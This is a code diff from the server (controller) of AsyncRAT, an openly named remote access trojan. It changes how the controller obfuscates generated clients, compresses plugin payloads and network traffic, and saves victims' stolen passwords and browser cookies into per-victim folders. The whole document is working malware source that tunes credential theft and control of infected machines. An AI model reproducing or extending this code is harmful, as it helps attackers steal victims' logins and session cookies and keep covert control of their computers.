|
||||
Renaming.DoRenaming(asmDef);
|
||||
await Task.Run(() =>
|
||||
{
|
||||
Renaming.DoRenaming(asmDef);
|
||||
});
|
||||
}
|
||||
asmDef.Write(saveFileDialog1.FileName);
|
||||
asmDef.Dispose();
|
||||
|
@ -45,38 +45,37 @@ namespace Server
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
OpenFileDialog O = new OpenFileDialog()
|
||||
using (OpenFileDialog O = new OpenFileDialog())
|
||||
{
|
||||
Filter = "(*.exe)|*.exe"
|
||||
};
|
||||
if (O.ShowDialog() == DialogResult.OK)
|
||||
{
|
||||
toolStripStatusLabel1.Text = Path.GetFileName(O.FileName);
|
||||
toolStripStatusLabel1.Tag = O.FileName;
|
||||
toolStripStatusLabel1.ForeColor = Color.Green;
|
||||
IsOK = true;
|
||||
if (comboBox1.SelectedIndex == 0)
|
||||
O.Filter = "(*.exe)|*.exe";
|
||||
if (O.ShowDialog() == DialogResult.OK)
|
||||
{
|
||||
try
|
||||
toolStripStatusLabel1.Text = Path.GetFileName(O.FileName);
|
||||
toolStripStatusLabel1.Tag = O.FileName;
|
||||
toolStripStatusLabel1.ForeColor = Color.Green;
|
||||
IsOK = true;
|
||||
if (comboBox1.SelectedIndex == 0)
|
||||
{
|
||||
new ReferenceLoader().AppDomainSetup(O.FileName);
|
||||
IsOK = true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
toolStripStatusLabel1.ForeColor = Color.Red;
|
||||
toolStripStatusLabel1.Text += " Invalid!";
|
||||
IsOK = false;
|
||||
try
|
||||
{
|
||||
new ReferenceLoader().AppDomainSetup(O.FileName);
|
||||
IsOK = true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
toolStripStatusLabel1.ForeColor = Color.Red;
|
||||
toolStripStatusLabel1.Text += " Invalid!";
|
||||
IsOK = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
toolStripStatusLabel1.Text = "";
|
||||
toolStripStatusLabel1.ForeColor = Color.Black;
|
||||
IsOK = true;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
toolStripStatusLabel1.Text = "";
|
||||
toolStripStatusLabel1.ForeColor = Color.Black;
|
||||
IsOK = true;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
private void button2_Click(object sender, EventArgs e)
|
||||
|
@ -63,7 +63,7 @@ namespace Server.Handle_Packet
|
||||
try
|
||||
{
|
||||
lock (Settings.LockListviewClients)
|
||||
if (client != null && client.LV != null)
|
||||
if (client.LV != null)
|
||||
client.LV.ForeColor = Color.Empty;
|
||||
}
|
||||
catch { }
|
||||
|
@ -19,21 +19,25 @@ namespace Server.Handle_Packet
|
||||
{
|
||||
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + unpack_msgpack.ForcePathObject("Hwid").AsString + "\\Recovery");
|
||||
string pass = unpack_msgpack.ForcePathObject("Password").AsString;
|
||||
//string cookies = unpack_msgpack.ForcePathObject("Cookies").AsString;
|
||||
if (!string.IsNullOrWhiteSpace(pass))// || !string.IsNullOrWhiteSpace(cookies))
|
||||
string cookies = unpack_msgpack.ForcePathObject("Cookies").AsString;
|
||||
if (!string.IsNullOrWhiteSpace(pass) || !string.IsNullOrWhiteSpace(cookies))
|
||||
{
|
||||
if (!Directory.Exists(fullPath))
|
||||
Directory.CreateDirectory(fullPath);
|
||||
File.WriteAllText(fullPath + "\\Password_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", pass.Replace("\n", Environment.NewLine));
|
||||
//File.WriteAllText(fullPath + "\\Cookies_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", cookies.Replace("\n", Environment.NewLine));
|
||||
File.WriteAllText(fullPath + "\\Cookies_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", cookies);
|
||||
new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple);
|
||||
}
|
||||
else
|
||||
{
|
||||
new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} has no passwords", Color.MediumPurple);
|
||||
}
|
||||
client?.Disconnected();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
new HandleLogs().Addmsg(ex.Message, Color.Red);
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
@ -8,14 +8,13 @@ namespace Server.Handle_Packet
|
||||
{
|
||||
public class Packet
|
||||
{
|
||||
public void Read(object Obj)
|
||||
public Clients client;
|
||||
public byte[] data;
|
||||
|
||||
public void Read(object o)
|
||||
{
|
||||
Clients client = null;
|
||||
try
|
||||
{
|
||||
object[] array = Obj as object[];
|
||||
byte[] data = (byte[])array[0];
|
||||
client = (Clients)array[1];
|
||||
MsgPack unpack_msgpack = new MsgPack();
|
||||
unpack_msgpack.DecodeFromBytes(data);
|
||||
|
||||
|
@ -2,6 +2,7 @@
|
||||
using Server.Algorithm;
|
||||
using Server.Handle_Packet;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
@ -49,7 +50,11 @@ namespace Server.Helper
|
||||
{
|
||||
foreach (string plugin in Directory.GetFiles("Plugins", "*.dll", SearchOption.TopDirectoryOnly))
|
||||
{
|
||||
Settings.Plugins.Add(GetHash.GetChecksum(plugin), Strings.StrReverse(Convert.ToBase64String(File.ReadAllBytes(plugin))));
|
||||
Settings.Plugins.Add(GetHash.GetChecksum(plugin), Strings.StrReverse(Convert.ToBase64String(Zip.Compress(File.ReadAllBytes(plugin)))));
|
||||
#if DEBUG
|
||||
byte[] plg = Zip.Compress(File.ReadAllBytes(plugin));
|
||||
Debug.WriteLine($"{plugin} : {BytesToString(plg.Length)}");
|
||||
#endif
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
|
@ -41,7 +41,7 @@
|
||||
<ILMergeCopyAttributes></ILMergeCopyAttributes>
|
||||
|
||||
<!-- Creates a .pdb file for the output assembly and merges into it any .pdb files found for input assemblies, default=true -->
|
||||
<ILMergeDebugInfo></ILMergeDebugInfo>
|
||||
<ILMergeDebugInfo>false</ILMergeDebugInfo>
|
||||
|
||||
<!-- Target assembly will be delay signed -->
|
||||
<ILMergeDelaySign></ILMergeDelaySign>
|
||||
|
@ -10,6 +10,7 @@
|
||||
*
|
||||
* Credit -> github.com/ymofen/SimpleMsgPack.Net
|
||||
*/
|
||||
using Server.Algorithm;
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Collections.Generic;
|
||||
@ -498,6 +499,7 @@ namespace Server.MessagePack
|
||||
{
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
bytes = Zip.Decompress(bytes);
|
||||
ms.Write(bytes, 0, bytes.Length);
|
||||
ms.Position = 0;
|
||||
DecodeFromStream(ms);
|
||||
@ -839,7 +841,7 @@ namespace Server.MessagePack
|
||||
byte[] r = new byte[ms.Length];
|
||||
ms.Position = 0;
|
||||
ms.Read(r, 0, (int)ms.Length);
|
||||
return r;
|
||||
return Zip.Compress(r);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -8,7 +8,7 @@
|
||||
<ProjectGuid>{7767C300-5FD5-4A5D-9D4C-59559CCE48A3}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<RootNamespace>Server</RootNamespace>
|
||||
<AssemblyName>AsyncRAT-Sharp</AssemblyName>
|
||||
<AssemblyName>AsyncRAT</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.6</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<Deterministic>true</Deterministic>
|
||||
@ -81,6 +81,7 @@
|
||||
<Compile Include="Algorithm\Aes256.cs" />
|
||||
<Compile Include="Algorithm\GetHash.cs" />
|
||||
<Compile Include="Algorithm\Sha256.cs" />
|
||||
<Compile Include="Algorithm\Zip.cs" />
|
||||
<Compile Include="Forms\FormAbout.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
|
@ -15,7 +15,7 @@ namespace Server
|
||||
|
||||
public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12";
|
||||
public static X509Certificate2 ServerCertificate;
|
||||
public static readonly string Version = "AsyncRAT 0.5.4";
|
||||
public static readonly string Version = "AsyncRAT 0.5.4B";
|
||||
public static object LockListviewClients = new object();
|
||||
public static object LockListviewLogs = new object();
|
||||
public static object LockListviewThumb = new object();
|
||||
|
Loading…
x
Reference in New Issue
Block a user